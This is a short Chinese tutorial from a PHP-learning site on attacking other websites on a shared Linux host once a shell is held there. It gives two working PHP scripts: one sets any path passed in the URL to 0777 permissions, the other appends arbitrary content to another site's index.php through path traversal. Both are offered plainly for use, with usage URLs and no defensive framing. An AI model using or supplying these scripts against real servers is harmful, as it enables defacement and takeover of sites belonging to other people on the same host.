来源:自学PHP网 时间:2015-04-14 11:51 作者: 阅读:次
[导读] 当我们拥有了一个linux下的shell(服务器上多个网站)。 这个shell对所在站点的根目录有可写入权限,甚至能查看其他网站的目录。 那么,这样的主机设置肯定是不安全的。 有的时候,...
当我们拥有了一个linux下的shell(服务器上多个网站)。
这个shell对所在站点的根目录有可写入权限,甚至能查看其他网站的目录。 那么,这样的主机设置肯定是不安全的。 有的时候,我们想对获得同服务器的其他站的权限,比如直接对其他站点的index.php进行修改,却发现没有权限。 我们可以尝试通过以下脚本来实现对其他站点的文件添加权限。 代码: <?php $path = stripslashes($_GET['path']); $ok = chmod ($path , 0777); if ($ok == true) echo " CHMOD OK , Permission editable file or directory. Permission to write"; ?> 保存为chmod.PHP 使用方法简单,访问 http://site/chmod.php?path=../../其他站点的目录/index.php 这里的index.PHP是要修改权限的文件。 另外一个exploit: 把下面的代码保存为exploit.PHP 代码: <?php @$filename = stripslashes($_POST['filename']); @$mess = stripslashes($_POST['mess']); $fp = @fopen("{$_POST['filename']}", 'a'); @fputs($fp,"$mess <hr size="1" color="black">"); @fclose($fp); ?> <form name="form1" action="exploit.php" method="post"> <p align="center"><b> <br> CODE :<br> <textarea name="mess" rows="3"></textarea></font></b></textarea> </font></b> <p><input type="hidden" name="filename" value="../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php"></p> <center> <input type="reset" name="Submit" value="Delete"> <input name="go" type="submit" value="Send" onClick="javascript:this.style.visibility ='hidden';"> <center> </form> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title> </head> <body> </center> </body> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com